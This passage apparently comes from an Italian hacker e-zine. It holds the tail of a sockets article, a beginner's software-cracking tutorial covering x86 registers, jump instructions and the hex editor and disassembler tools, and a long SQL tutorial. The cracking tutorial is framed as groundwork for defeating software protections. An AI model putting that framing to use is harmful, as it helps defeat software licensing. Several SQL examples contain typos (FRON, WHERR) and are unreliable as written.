in uso. Questo vuol dire che se alla porta 23 avete gia il vostro telnetd e volete creare un demone che si mette in ascolto alla porta 23 anch'ello, non potete, la funzione bind torna errore! Un altra precisazione (eee quante precisazioni!), è che quando costruite dei server dovete stare attenti a non farli vulnerabili al buffer overlflow, di certo non posso stare qui a spiegarvi di cosa si tratta, per questo vi rimando all'articolo "Smashing the stack for fun and profit" della rivista phreak, 49-14. è un articolo che ormai è entrato nel cult, sarà di 4 anni fa, ma è lo stesso valido. Ora vi saluto, spero che il mio codice vi sia utile.. bye! ******************************************************************************** ######## ######## ###### ######## # # # ######### ######## # ## # # # # # ## # # # ## # ## # # # # # ## # # # ## ### ######## ###### ### ##### ### ### # ### # ### ### # ### # ### ### ## ### ### # ### # ######## ### # ## # ######## ### # ### ### # ######## ******************************************************************************* ____________________________________________________________________________ / Zero /| +===========================================================================+ | | | | | [ Tanto per iniziare a crackare] | | | ----------------------------- | / +===========================================================================+/ In questo primo tutorial spieghero cosa vi serve, sia in termini di conoscenze che di software, per fare i primi passi. Innanzitutto vi serve una buona infarinatura del linguaggio Assembly. Questo è il linguaggio che utilizza il processore per eseguire i programmi. E' formato da istruzioni "stupide", ma che unite tra di loro formano la applicazioni. Un programma ne contiene di solito un'infinità, e muoversi attraverso il codice assembler senza nessun aiuto causa confusione. Le principali istruzioni che vi serve conoscere bene sono poche, ma consiglio di leggere un manuale di assembly. CPU Windows è un sistema operativo a 32 bit. Ciò significa che può maneggiare 32 bit alla volta. Quindi i registri del microprocessore devono essere anche loro a 32 bit o superiori (64, 128, sempre a potenze del 2). Il microprocessore a cui faremo riferimento è sempre il Pentium. E' formato da 4 regitri a 32 bit di uso generale (EAX,EBX,ECX,EDX) che possono essere usati anche a 16 bit (AX,BX,CX,DX) o addirittura a 8 bit (AH,AL,BH,BL,CH,CL,DH,DL). Esistono anche altri registri a 32 bit per indirizzare la memoria (EDI,ESI). Ci sono i vari registri di segmento (CS,DS,ES,SS,FS) che inidcano il segmento di memoria in cui è presente il codice, i dati o altre locazioni. I registri EBP ed ESP vengono utilizzati per gestire lo stack, un'area di memoria in cui vengono memorizzate temporaneamente certe informazioni utili al programma. Lo stack è come una pila, cioè il primo dato che entra è l'ultimo ad uscire. Un particolare registro è quello dei FLAG. Questo registro viene modificato da certe istruzioni che permettono di confrontare un numero con un'altro. Il flag ci fa sapere se il numero è pari, è uguale a zero, se si sono verificai degli errori, ecc. Infine il registro EIP contiene il numero dell'istruzione da eseguire. MEMORIA Prima di parlare delle istruzioni più importanti, parliamo un po della memoria di Windows (crackare in DOS è più difficile). Ovviamente l'argomento è MOLTO più complesso, cercherò di sintetizzare e di non essere troppo noioso. Windows utilizza una memoria detta virtuale, cioè appena la RAM è piena, utilizza parte del vostro hard-disk. Qui la memoria è suddivisa in pagine da 4 Kbyte. Per indirizzare la memoria Windows utilizza un indirizzo di segmento e un indirizzo di base tutti e due in esadecimale (un tipo di base numerica formata da 16 numeri, 0-9 A,B,C,D,E,F). L'indirizzo di segmento individua una parte della memoria che può essere utilizzata da un solo programma, mentre l'indirizzo di base individua l'istruzione nel segmento. Ha questa forma: Segmento : Base 137 : 403522 L'offset è lo spiazzamento dell'istruzione corrente rispetto alla prima istruzione del programma. La prima pagina del programma (in un file EXE) ha sempre indirizzo 401000. Il perchè di questo numero non lo so, e non è importante. Offset = Istruzione corrente - 401000 2522 = 403522 - 401000 Principali istruzioni: MOV destinazione, sorgente Indirizza un'area di memoria o un registro (mai due aree di memoria contemporaneamente) CMP xx, yy (uguale a TEST xx, yy) Confronta xx (deve essere un registro), con yy (può essere un registro, una locazione di memoria, un valore). I risultati del confronto vengono posti nel registro dei flag. JMP numero istruzione Salta in una determinata parte del codice Jxx numero istruzione Salta in una determinata parte del codice se si verifica la condizione indicata dalle "xx". Prima di un Jxx ci deve essere una modifica del registro dei flag (solitamente eseguita tramite un CMP o un TEST). Tra questi ci sono: JE salta se uguale JNE salta se diverso JG salta se maggiore JL salta se minore (per gli altri vi rimando ad un manuale di assembler o al prossimo numero...) CALL indirizzo Esegue una procedura. I parametri sono solitamente passati attraverso lo stack tramite istruzioni di PUSH. Dopo una CALL ci potrebbe essere un salto condizionato. PUSH registro o memoria Inserisce il valore di un registro o della memoria nello stack. POP registro o memoria. Toglie il valore dallo stack e lo mette nella destinazione specificata. Dopo questa veloce e INCOMPLETA infarinatura di Assembly, vi descrivo alcuni programmi fondamentali per cominciare a crackare. Ovvimente nei prossimi numeri ne introducerò altri. Per prima cosa vi serve un EDITOR ESADECIMALE, in modo da modificare facilmente i programmi. Io uso HIEW (Hacker's View), che permette di vedere il file disassemblato e di modificarlo introducendo istruzioni in Assembly. E' più facile a farsi che a dirsi! Gira in una finestra DOS, ma è potentissimo. Poi avrete bisogno di un DISASSEMBLATORE. Il disassemblatore più utilizzato e più semplice è WIN32DASM. Il bello di questo tool è che vi cerca le stringhe che utilizza il programma e vi fa vedere (in Assembly) dove le processa. Dopo aver preso la mano vi accorgerete che è molto utile. Ora vi saluto, spero di essere stato chiaro. Grazie della lettura. ********************************************************************************* * * * --PROGRAMMAZIONE-----ASSEMBLER-----PROGRAMMAZIONE-----PASCAL-----C++-- * * --VISUAL BASIC-----C-----PROGRAMMAZIONE------PERL-----PROGRAMMAZIONE-- * * * --HTML-----DELPHI-----PROGRAMMAZIONE-----JAVA-----PROGRAMMAZIONE---SQL * * * ********************************************************************************* ____________________________________________________________________________ / AsM /| +===========================================================================+ | | | | | [ Il Linguaggio SQL ] | | | ----------------- | / +===========================================================================+/ INDICE 1.1) Caratteristiche generali 1.2) Identificatori e tipi di dati 1.3) La definizione delle tabelle 1.4) I comandi per la manipolazione dei dati 1.5) Il comando Select 1.6) Le operazioni relazionali nel linguaggio SQL 1.7) Le funzioni di aggregazione 1.8) Ordinamento e raggruppamenti 1.9) Le condizioni di ricerca 1.10) I comandi per la sicurezza 1.11) Le viste 1.12) Integrità dei dati e gestione delle transazioni 1.13) Interrogazioni nidificate 1.1) Caratteristiche generali ============================== Il linguaggio SQL (Structured Query Lan guage) è un linguaggio non procedurale che è diventato uno standard tra i linguaggi per la gestione di database relazionali. Dopo una prima versione introdotta da IBM alla fine degli anni 1970 per un prototipo di ricerca denominato System R, negli anni 1980 fu adottato con il nome attuale come linguaggio per i software DBMS prodotti dalla IBM (DB2 e SQL/DS). Nel 1986 l'ANSI (American National Standards Institute) pubblicò il primo standard del linguaggio SQL, al quale seguì lo standard dell'ISO (International Standards Organization) pubblicato nel 1987. Successivamente le specifiche del linguaggio vennero precisate e ampliate: gli aggiornamenti degli standard furono pubblicati nel 1992 da ANSI (ANSI X3.135) e ISO (ISO 9075). Oggi il linguaggio SQL viene usato in tutti i prodotti DBMS come linguaggio di comandi per l'utente della base di dati (ricordiamo Oracle, Informix, SQLServer, Access). Alcuni di questi prodotti, sviluppati originariamente per sistemi di elaborazione grandi e medi, sono stati poi adattati con versioni per personal computer, con l'uso di SQL come linguaggio relazionale. Le diverse versioni del linguaggio SQL sono in genere aderenti agli standard internazionali, ma ci sono sicuramente delle differenze che possono essere facilmente individuate attraverso la documentazione elettronica o cartacea fornita con i prodotti software. Spesso si possono trovare le istruzioni SQL inserite nei programmi scritti con i linguaggi di programmazione tradizionali (linguaggi ospite), oppure il linguaggio SQL rappresenta uno degli strumenti principali all'interno di ambienti di sviluppo software: in questi casi si parla di Embedded SQL. Le parole-chiave che costituiscono i comandi del linguaggio SQL possono essere usate in modo interattivo, scrivendole direttamente sulla tastiera nel momento in cui si vogliono attivare. Tuttavia nelle più recenti versioni del linguaggio i comandi possono essere inviati al sistema attraverso un'interfaccia grafica, che utilizza menu, finestre e icone per guidare l'utente nella scelta del lavoro da richiedere. Secondo la terminologia del linguaggio SQL un database è costituito da tabelle, che rappresentano le relazioni; gli attributi sono le colonne della tabella e i record sono le righe della tabella. Rispetto ai linguaggi di programmazione, il linguaggio SQL, per la semplicità nell'uso delle istruzioni, la concisione dei comandi e la visione tabellare dei dati, può sicuramente aumentare la produttività nel progetto e nello sviluppo delle applicazioni orientate alla gestione di archivi di dati. Il linguaggio SQL consente all'utente di: · definire la struttura delle relazioni del database (funzioni di DDL), · modificare i dati contenuti nel database, con le operazioni di inserimento, variazione e cancellazione (funzioni di DML), · gestire il controllo degli accessi e i permessi per gli utenti (funzioni di DCL), · porre interrogazioni al database (funzioni di Query Language). Il linguaggio SQL fornisce inoltre gli opportuni comandi per definire in modo facile i tabulati di uscita dei risultati (report), per recuperare i dati quando accade un'interruzione del programma, un guasto nei supporti magnetici o un malfunzionamento del sistema, per definire le viste degli utenti sul database, per garantire la sicurezza dei dati nei confronti degli accessi di più utenti. 1.2) Identificatori e tipi di dati ==================================== Il linguaggio SQL utilizza i caratteri alfabetici, le cifre decimali, gli operatori aritmetici e di confronto (+ - I * = < >) più altri caratteri che assumono particolari significati nella sintassi delle istruzioni e che verranno descritti nel seguito. Gli idenfificatori (nomi di tabelle e di attributi) sono costituiti da sequenze di caratteri con lunghezza massima uguale a 18 caratteri: devono iniziare con una lettera e possono anche contenere il carattere _. Quando è necessario identificare il nome di un attributo della tabella si deve usare la notazione NomeTabella.NomeAttributo (separati dal punto). Nella dichiarazione della struttura di una tabella occorre specificare il tipo dei dati scelto per gli attributi. I tipi standard del linguaggio SQL sono: * CHARACTER(n) Stringa di lunghezza n n da 1 a 15000 * DATE Data nella forma MM/GG/AA * TIME Ora nella forma HH:MM * INTEGER(p) Numero intero con precisione p p da i a 45 * SMALLINT Numero intero con precisione 5 da -32768 a 32767 * INTEGER Numero intero con precisione 10 da -2.147.483.648 a 2.147.483.647 * DECIMAL(p,s) Numero decimale con precisione p e s cifre decimali p da i a 45 ed 5 da 0 a p * REAL Numero reale con mantissa di precisione 7 valore 0 oppure valore assoluto da 1E-38 a 1E+38 * FLOAT Numero reale con mantissa di precisione 15 valore 0 oppure valore assoluto da 1E-38 a 1E+38 * FLOAT(p) Numero reale con mantissa di precisione p p da 1 a 45 Per i dati numerici la precisione p indica il numero massimo di cifre che il numero può contenere, esclusi il segno e il punto decimale. Per i numeri decimali il valore s indica il numero di cifre che seguono il punto deciniale. I dati numerici floating point (numeri approssimati) sono memorizzati in forma esponenziale; la precisione riguarda solo le cifre della mantissa. La parola NUMERIC può essere usata al posto di DECIMAL. La parola CHARACTER è equivalente a CHARACTER(1), e può essere abbreviata con CHAR. DECIMAL è equivalente a DECIMAL(15,0). Altre abbreviazioni sono: · CHAR(n) invece di CHARACTER(n); · INT(p) invece di INTEGER(p); · DEC(p,s) invece di DECIMAL(p,s). Occorre osservare che alcune versioni di SQL in specifici ambienti DBMS differiscono dallo standard nell'indicazione dei tipi di dati. Le stesse considerazioni valgono anche per le successive istruzioni del linguaggio: in diverse versioni del linguaggio SQL ci possono essere varianti nella sintassi e nei termini utilizzati. Per risolvere questi problemi è opportuno sempre controllare gli esempi pre-sentati nei manuali per l'utente o nell'help in linea del linguaggio per basi di dati. Le costanti stringa sono delimitate dai caratteri ' o ". Il delimitatore standard è l'apice'. Nelle colonne della tabella gli attributi che hanno un valore non disponibile o non definito assumono il valore Null. Il valore Null non è mai uguale a nessun altro valore: è diverso dal valore zero per i dati numerici e dalla stringa vuota (YY) per i dati alfanumerici. Negli ordinamenti il valore Null compare all'inizio delle sequenze crescenti e alla fine delle sequenze decrescenti. Le costanti numeriche possono avere o non avere il segno + oppure -. Nei numeri decimali la parte intera è separata dalle cifre decimali attraverso il punto. I numeri in floating point sono rappresentati in forma esponenziale, per esempio -1 .2E+ 7. Nelle operazioni di confronto i numeri sono controllati in accordo con il loro valore algebrico, mentre le stringhe sono confrontate carattere per carattere a partire da sinistra secondo il codice ASCII. Nelle scrittura delle condizioni possono essere usati gli operatori NOT, AND e OR. Tutti i risultati di confronti numerici o stringa che riguardano attributi con valore Null sono considerati sconosciuti, perché Null non è uguale, maggiore o minore di nessun altro valore. Il linguaggio SQL può solo controllare la presenza o l'assenza di Null in una colonna. 1.3) La definizione delle tabelle ================================== Le tabelle vengono definite con il comando CREATE TABLE, seguito dal nome della tabella e dall'elenco degli attributi. Per ogni attributo occorre specificare il nome e il tipo di dato. Per esempio, per creare una tabella contenente i dati dei dipendenti di un'azienda (matricola, cognome e nome, codice fiscale, data di assunzione, filiale in cui lavora, funzione all'interno dell'azienda, livello, stipendio base, indirizzo con via, cap, città e provincia), si deve usare il seguente comando: CREATE TABLE Personale (Matricola char(5), Cognome char(30), Nome char(20), CodFisc char(16) not null, Assunto date, Filiale smallint, Funzione char(15), Livello smallint, StipBase integer, Via char(25), Cap char(5), Citta char(20), Prov char(2) ); Lattributo Matricola è la chiave primaria della tabella. Accanto alla definizione dell'attributo può essere specificata la clausola NOT NULL, per indicare che in tutte le righe della tabella quella colonna deve essere riempita con un valore non nullo, nelle operazioni di inserimento e di aggiornamento. Si può utilizzare lo stesso nome di attributo in tabelle diverse; durante la gestione dei dati, poi, per distinguere gli attributi con nome uguale si usa la notazione: Tabella.Attributo separando il nome della tabella dal nome dell'attributo con il punto. La struttura della tabella può essere successivamente modificata con il comando ALTER TABLE, per aggiungere una nuova colonna (ADD) a quelle già esistenti, oppure per togliere una colonna (DROP). Per esempio, il comando seguente consente di inserire il nuovo attributo con la data di nascita del dipendente: ALTER TABLE Personale ADD Nascita date; Utilizzando l'opzione Drop si può togliere per esempio dalla tabella Personale l'attributo che si riferisce allo stipendio base: ALTER TABLE Personale DROP StipBase; Listruzione CREATE INDEX viene utilizzata per creare un nuovo indice su una tabella esistente, indicando il nome della tabella e il nome dell'attributo o degli attributi ai quali associare l'indice. Se non si vuole che ci siano valori duplicati per l'attributo associato ad indice in righe diverse, occorre usare la clausola UNIQUE. Per esempio il comando CREATE UNIQUE INDEX Ipers ON Personale (Cognome, Nome); crea un indice di nome Ipers sulla tabella Personale secondo gli attributi Cognome e Nome. Una tabella o un indice possono essere eliminati con il comando DROP, seguito dal nome della tabella o dell'indice. Per esempio il comando seguente cancella la tabella Personale: DROP TABLE Personale; In modo analogo per cancellare l'indice di nome Ipers si usa il comando: DROP INDEX Ipers ON Personale; I comandi illustrati finora rappresentano la parte del linguaggio SQL che fa riferimento alla categoria dei comandi definiti con la sigla DDL (Data Definition Language), cioè il linguaggio che consente di implementare il modello logico dei dati sulle memorie di massa del computer. Occorre osservare che nelle versioni moderne dei prodotti DBMS le operazioni di creazione di tabelle e di indici, oltre che di modifica alla struttura della tabella o di cancellazione di tabelle e indici, vengono effettuate attraverso un'interfaccia interattiva che facilita il lavoro dell'utente il quale può anche non conoscere la sintassi dei comandi sopra illustrati. Durante la definizione della tabella viene individuato l'attributo che deve svolgere la funzione di chiave. Anche la scelta del formato (e della dimensione) degli attributi nella tabella viene fatta all'interno di un elenco di tipi di dato, indicati in lingua italiana: per esempio Data/ora per Date, Testo per Character, Numerico per Integer 1.4) I comandi per la manipolazione dei dati ============================================ I valori degli attributi nelle righe della tabella possono essere inseriti, aggiornati o cancellati rispettivamente con i comandi INSERT, UPDATE e DELETE. Illustriamo l'uso di questi comandi con alcuni esempi. Per inserire i valori di una nuova riga della tabella Personale si usa il comando: INSERT INTO Personale (Matricola, Cognome, Nome, CodFisc, Nascita, Assunto, Filiale, Funzione,Livello, StipBase, Via, Cap, Citta, Prov) VALUES('AB541', 'ROSSI','PAOLO','RSSPLA65M20R341E', '08/20/1965','09/15/1997', 3,'Impiegato', 5, 890, 'VIA ROMA 34','20100','MILANO','MI'); Per cambiare il livello al dipendente con matricola = AA345', occorre dare il comando: UPDATE Personale SET Livello = 6 WHERE Matricola = 'AA345' ; È possibile cambiare anche più attributi con un solo comando Update elencandone i nomi e i nuovi valori dopo la parola Set, separati dalla virgola. Per cancellare dalla tabella Personale i dati del dipendente con matricola = 'AQ123', si usa il comando: DELETE FROM Personale WHERE Matricola = 'AQ123' ; È molto importante notare che l'uso della clausola Where nei comandi Update e Delete consente di operare su gruppi di record, cioè su molte righe, anziché su una sola riga per volta: basta indicare dopo Where una condizione che deve essere verificata dalle righe che si vogliono modificare o cancellare. Per esempio, se si vuole aumentare del 5% lo stipendio di tutti i dipendenti sopra il quinto livello, occorre dare il comando: UPDATE Personale SET StipBase = StipBase * 1.05 WHERE livello > 5; Per eliminare dalla tabella Personale i dipendenti che hanno lo stipendio base inferiore a 750, si usa il seguente comando: DELETE FROM Personale WHERE StipBase < 750; Come già detto a proposito della creazione delle tabelle, nell'uso pratico del linguaggio, le operazioni di inserimento, così come quelle di modifica e di cancellazione, vengono facilitate mediante l'uso di maschere video che guidano l'utente nelle operazioni di trattamento dei dati, all'interno di un ambiente software basato sull'uso di interfacce grafiche amichevoli. Quindi questi comandi di tipo DML (Data Manipulation Language) presenti all'interno del linguaggio SQL rimangono nascosti all'utente che può effettuare le operazioni di manipolazione senza conoscere la sintassi delle istruzioni. 1.5) Il comando Select ======================== Laspetto più importante del linguaggio SQL è costituito dalla possibilità di porre interrogazioni in modo molto semplice alla base di dati per ritrovare le informazioni che interessano. Queste prestazioni sono fornite dal comando SELECT, che è nello stesso tempo molto potente e molto semplice da usare. Con il comando Select vengono attivate le interrogazioni sulle relazioni e le operazioni relazionali per ottenere nuove tabelle. Inoltre l'utente viene liberato da tutti problemi che riguardano le modalità e i percorsi per ritrovare i dati, cioè la loro collocazione fisica nelle memoria di massa: deve solo specificare al sistema quali dati vuole ottenere. La struttura generale del comando Select è la seguente: SELECT ..... FROM ..... WHERE ..... Accanto alla parola Select vengono indicati i nomi degli attributi (le colonne) da elencare (se è necessario elencare tutti gli attributi basta scrivere il segno di asterisco * dopo la parola Select); dopo From vengono indicati i nomi delle tabelle su cui deve operare il comando Select; dopo la clausola Where si specifica la condizione che deve essere soddisfatta dai campi delle righe: possono comparire anche più condizioni combinate con gli operatori AND, OR e NOT. Per esempio l'elenco con cognome, nome e codice fiscale dei dipendenti con funzione di Impiegato si ottiene con il comando Select nella forma: SELECT Cognome, Nome, CodFisc FROM Personale WHERE Funzione = 'Impiegato' ; In questo primo esempiuo accanto alla parola Select sono stati specificati solo alcuni attributi tra quelli presenti nella tabella. Per richiedere tutti i dati dei dipendenti che abitano in provincia di Milano, si usa il comando Select nella forma: SELECT * FROM Personale WHERE Prov = 'MI' ; Nel secondo esempio il simbolo * sostituisce l'elencazione di tutti gli attributi della tabella Personale. Il comando Select possiede due predicati ALL e DISTINCT. Il predicato ALL indica la richiesta di ottenere come risultato dell'interrogazione tutte le righe che soddisfano alle condizioni contenute nel comando. Questo predicato è di default, cioè se non viene fatta nessuna specificazione vengono visualizzate tutte le righe della tabella che rispondono alle condizioni poste. Pertanto le due seguenti istruzioni Select sono equivalenti: SELECT ALL * FROM Personale WHERE Prov = 'MI' ; SELECT * FROM Personale WHERE Prov = 'MI' ; Se viene specificato il predicato DISTINCT le righe duplicate nella tabella risultante vengono ridotte a una. Per esempio se si desidera ottenere l'elenco di tutte le professioni presenti tra i dipendenti della tabella Personale, specificando una sola volta il tipo di professione anche quando è riferita a più dipendenti, si deve usare la clausola Distinct prima dell'indicazione dell'attributo: SELECT DISTINCT Funzione FROM Personale; Il comando Select nella forma senza Distinct SELECT Funzione FROM Personale; produrrebbe l'elenco di tutte le professioni dei dipendenti ripetendo tante volte la stessa professione in righe diverse, tante quanti sono i dipendenti che svolgono quella funzione. In presenza del predicato Distinct in un'interrogazione con Select che contiene più attributi, una riga può essere inclusa nella tabella risultante solo se la combinazione di valori provenienti da tutti gli attributi è univoca. La tabella che si ottiene come risultato dell'interrogazione con Select normalmente possiede un'intestazione delle colonne che riporta i nomi degli attributi; se si vuole modificare tale intestazione, occorre dichiarare la stringa della nuova intestazione insieme alla clausola AS. Per esempio per ottenere l'elenco delle diverse province da cui provengono i dipendenti della tabella Personale, intestando la colonna del risultato con il titolo Provincia, si deve scrivere il comando Select secondo la seguente sintassi: SELECT DISTINCT Prov AS Provincia FROM Personale; Con il comando Select si può anche richiedere il calcolo di espressioni sugli attributi presenti nella tabella; la tabella risultante contiene una colonna aggiuntiva con i risultati del calcolo per ogni riga. Questa nuova colonna viene intestata con una descrizione opportuna utilizzando la parola As. Per esempio il comando seguente visualizza, accanto agli stipendi attuali, quali sarebbero i nuovi stipendi base dei dipendenti aumentati del 5%, senza modifica dell'importo di ciascuno stipendio nelle righe della tabella: SELECT Cognome, Nome, StipBase AS Attuale,StipBase*l.05 AS Nuovo FROM Personale; In alcuni degli esempi precedenti e in quelli presentati nei paragrafi successivi, per rendere più semplice l'illustrazione dei comandi di SQL, vengono utilizzati valori costanti nelle condizioni scritte dopo Where, come nel caso dell'interrogazione di inizio paragrafo: SELECT Cognome, Nome, CodFisc FROM Personale WHERE Funzione = 'Impiegato'; In realtà il tipo di funzione del dipendente da utilizzare nell'operazione di confronto, anziché essere uguale alla costante Impiegato, dovrebbe essere indicato in modo parametrico, per poter usare la stessa interrogazione più volte per funzioni diverse dei dipendenti. Per esempio, in Access per Windows questo può essere fatto indicando tra parentesi quadre il nome del parametro: al momento dell'esecuzione del comando Select viene richiesto all'utente di inserire, in modo interattivo attraverso una finestra di dialogo, il tipo di funzione che si vuole controllare per i dipendenti. SELECT Cognome, Nome, CodFisc FROM Personale WHERE Funzione = [TipoFunzione]; 1.6) Le operazioni relazionali nel linguaggio SQL ================================================= Le operazioni di selezione, proiezione e congiunzione su una base di dati relazionale vengono realizzate in pratica attraverso il comando Select, secondo le diverse forme consentite dalla sintassi di questo comando. Se si vuole rispettare una delle regole del modello relazionale che non consente la presenza di righe uguali all'interno della stessa tabella, basta porre accanto alla parola Select la clausola Distinct: con questa specificazione la tabella ottenuta non contiene righe duplicate. La selezione e la proiezione sono state già state utilizzate in pratica negli esempi di uso del comando Select nel paragrafo precedente. L'operazione di selezione, che consente di ricavare da una relazione un'altra relazione contenente solo le righe che soddisfano ad una certa condizione, viene realizzata nel linguaggio SQL utilizzando la clausola Where del comando Select. Per esempio per ottenere l'elenco con tutti i dati dei dipendenti che svolgono la funzione di Dirigente, si opera una selezione sulla tabella Personale estraendo le righe per le quali l'attributo Funzione contiene il valore 'Dirigente'. In pseudocodifica si scrive: Selezione di Personale per Funzione = 'Dirigente' La precedente interrogazione viene codificata in linguaggio SQL con il comando: SELECT * FROM Personale WHERE Funzione = 'Dirigente'; Loperazione di proiezione, che permette di ottenere una relazione contenente solo alcuni attributi della relazione di partenza, si realizza indicando accanto alla parola Select l'elenco degli attributi richiesti. Per esempio per ottenere l'elenco di tutti i dipendenti con cognome, nome e codice fiscale, si deve effettuare una proiezione sulla tabella Personale estraendo soltanto le colonne corrispondenti agli attributi richiesti. In pseudocodifica: Proiezione di Personale su Cognome, Nome, CodFisc Questa operazione viene codificata in linguaggio SQL con il comando: SELECT Cognome, Nome, CodFisc FROM Personale; Il comando Select può operare su più tabelle, indicandone i nomi (separati da virgola) dopo la parola From; scrivendo poi dopo la parola Where i nomi degli attributi che si corrispondono nelle due tabelle (legati tra loro dal segno =), si realizza in pratica l'operazione di congiunzione di due tabelle secondo un attributo comune. Qualora ci sia l'esigenza di maggiore chiarezza nella descrizione del comando oppure ci siano due attributi con lo stesso nome in due tabelle diverse, è opportuno, come già visto, indicare il nome della tabella e il nome dell'attributo separati dal punto. Per esempio si supponga di aver creato accanto alla tabella Personale anche la tabella Dipendenza con il comando CREATE TABLE Dipendenza (CodFil smallint, Descrizione char(20) Indirizzo char(25) ); contenente per ogni dipendenza il codice, usato nei dati dei dipendenti, la descrizione e l'indirizzo della filiale. Lattributo CodFil è la chiave primaria della tabella. Tra la relazione Dipendenza e la relazione Personale viene stabilita un'associazione uno a molti e l'attributo Filiale nella tabella Personale diventa chiave esterna. Per ottenere l'elenco di tutti i dipendenti con la descrizione e l'indirizzo della filiale dove lavorano, occorre effettuare la congiunzione delle tabelle Personale e Dipendenza secondo gli attributi comuni Filiale e CodFil. In pseudocodifica: Congiunzione di Personale su Filiale e di Dipendenza su CodFil In linguaggio SQL: SELECT * FROM Personale, Dipendenza WHERE Filiale = CodFil; Per maggiore chiarezza si può anche scrivere nel modo seguente, esplicitando il nome delle tabelle insieme ai nomi degli attributi comuni: SELECT * FROM Personale, Dipendenza WHERE Personale.Filiale = Dipendenza.CodFil; Poiché nella condizione scritta accanto a Where viene usato il segno uguale, la congiunzione precedente fornisce un esempio di equi-join, cioè vengono combinate solo le righe per le quali si possono trovare valori uguali negli attributi che si corrispondono. Nella versione del linguaggio SQL per Access in ambiente Windows l'equi-join viene indicato con inner join; inoltre si possono realizzare anche join esterni (outer join) con left join e right join. Nell'esempio seguente viene mostrato come si possa realizzare un self-join su una tabella. Supponiamo di aggiungere agli attributi della tabella Personale un nuovo attributo denominato Dirigente adatto a contenere, per ogni dipendente, il codice della persona che svolge il ruolo di dirigente rispetto a quel dipendente. Le informazioni sui dirigenti sono contenute nella stessa tabella dei dipendenti, poiché sono anch'essi dipendenti dell'azienda: pertanto se si vogliono conoscere le informazioni dei dipendenti con il dirigente a cui fanno capo, occorre fare una congiunzione della tabella Personale con se stessa, cioè un self-join. Per risolvere questo problema si devono usare gli alias per il nome della tabella, cioè indicare con due nomi diversi la stessa tabella, utilizzando la parola AS nella clausola From del comando Select, come mostrato nell'esempio. Con questa interrogazione si ottiene per ciascun dipendente il cognome e nome insieme al cognome del dirigente: SELECT Tab1.Cognome, Tab1.Nome, Tab2.Cognome FROM Personale AS Tab1, Personale AS Tab2 WHERE Tab1.Dirigente = Tab2.Matricola; Dopo aver visto come si rappresentano nel linguaggio SQL le operazioni fondamentali del modello relazionale, si può facilmente comprendere a questo punto come sia realizzabile la combinazione di diverse operazioni (proiezione e selezione, congiunzione e selezione, congiunzione e proiezione, congiunzione, selezione e proiezione) usando la struttura Select...From...Where... secondo tutte le sue possibili varianti. Per esempio se si vuole ottenere l'elenco dei dipendenti che hanno la funzione di Impiegato, con cognome, nome, descrizione e indirizzo della Filiale dove lavorano, occorre dapprima operare una selezione su Personale per Funzione uguale al valore 'Impiegato'; poi si deve effettuare una congiunzione della tabella ottenuta su Filiale e di Dipendenza su CodFil ed infine sulla nuova tabella ottenuta si applica una proiezione sugli attributi Cognome, Nome, Descrizione, Indirizzo. In pseudocodifica l'interrogazione si rappresenta in questo modo: Proiezione di (Congiunzione di (Selezione di Personale per Funzione = 'Impiegato') su Filiale e di Dipendenza su CodFil) su Cognome, Nome, Descrizione, Indirizzo Il comando viene codificato nel linguaggio SQL con il seguente formato per Select: SELECT Cognome, Nome, Descrizione, Indirizzo FRON Personale, Dipendenza WHERR Filiale = CodFil AND Funzione = 'Impiegato'; La prima condizione scritta dopo Where (Filiale = CodFil) serve a specificare l'uguaglianza tra gli attributi comuni delle tabelle coinvolte nella congiunzione, la seconda condizione (Funzione = 'Impiegato') specifica il criterio per operare la selezione sulle righe della tabella risultante dalla congiunzione. Le due condizioni sono combinate tramite l'operatore AND. La codifica in SQL diventa più precisa facendo precedere il nome delle tabelle ai nomi degli attributi, come mostrato nella versione seguente del comando: SELECT Personale.Cognome, Personale.Nome, Dipendenza.Descrizione, Dipendenza.Indirizzo FRON Personale, Dipendenza WHERE Personale.Filiale = Dipendenza.CodFil AND Personale.Funzione = 'Impiegato'; È opportuno far notare come nel linguaggio SQL con poche parole di codice sia possibile estrarre da una base di dati tutte le informazioni che si desiderano. Le stesse operazioni, formulate attraverso le istruzioni di un linguaggio di programmazione tradizionale, richiederebbero un elevato numero di righe di codice, oltre che lunghi processi di ricerca sui file e di confronti tra i campi dei record. Si provi ad immaginare la complessità nella stesura della parte di programma e nella sua esecuzione, per realizzare le stesse funzioni della congiunzione di due tabelle vista ora. Abbiamo detto che le operazioni di selezione, proiezione, congiunzione e le combinazioni tra esse servono ad ottenere una nuova relazione dalla relazione di partenza. Se si vuole conservare la tabella risultante dall'operazione, occorre aggiungere al comando Select la clausola INTO seguita dal nome da assegnare alla nuova tabella. Per esempio se si desidera creare una nuova tabella di nome Manager contenente le informazioni per i soli dipendenti che hanno la funzione di Dirigente, occorre usare un comando come il seguente: SELECT * INTO Manager FROM Personale WHERE Funzione = Dirigente'; Le colonne della nuova tabella presentano gli stessi nomi, formati e dimensioni degli attributi della tabella di origine. Se invece si vogliono aggiungere le righe della tabella risultante alle righe di una tabella già esistente, si deve usare il comando Insert Into seguito dal nome della tabella e dalla frase Select che determina le righe da aggiungere nella tabella. Se si vogliono aggiungere alla tabella Personale le righe provenienti da un'altra tabella contenente i dati dei nuovi assunti, il comando assume il formato: INSERT INTO Personale SELECT * FROM NuoviAssunti ; 1.7) Le funzioni di aggregazione ================================ All'interno del comando Select possono essere usate funzioni predefinite che agiscono sui valori contenuti in insiemi di righe della tabella e che per questo motivo si chiamano funzioni di aggregazione. * Funzione COUNT La funzione COUNT conta il numero di righe presenti in una tabella. La sintassi del linguaggio SQL richiede di specificare come argomento della funzione il nome di un attributo oppure il carattere * (asterisco): nel primo caso non vengono conteggiate le righe che hanno valore Null nella colonna dell'attributo specificato; nel secondo caso, indicando l'asterisco, la funzione Count(*) calcola il numero delle righe della tabella, incluse quelle con campi di tipo Null. In sostanza la funzione Count(*) serve per ottenere la cardinalità di una relazione. La funzione calcola solo il numero delle righe, indipendentemente dai valori in esse memorizzati. Il seguente comando restituisce il numero di tutte le righe presenti nella tabella Personale: SELECT COUNT (*) FROM Personale Specificando il nome dell'attributo Livello come argomento della funzione Count, si ottiene il numero dei dipendenti per i quali è specificato il livello nella tabella Personale: SELECT COUNT (Livello) FROM Personale ; Se utilizzata in un comando Select che contiene il controllo di una condizione scritta dopo where, la funzione Count restituisce il numero delle righe che soddisfano alla condizione specificata. La seguente interrogazione restituisce il numero dei dipendenti della provincia di Milano presenti nella tabella Personale: SELECT COUNT(*) FROM Personale WHERE Prov = 'MI'; La stessa funzione nella versione COUNT(DISTINCT x) consente di ottenere il numero dei valori diversi tra loro nella colonna x che soddisfano alla 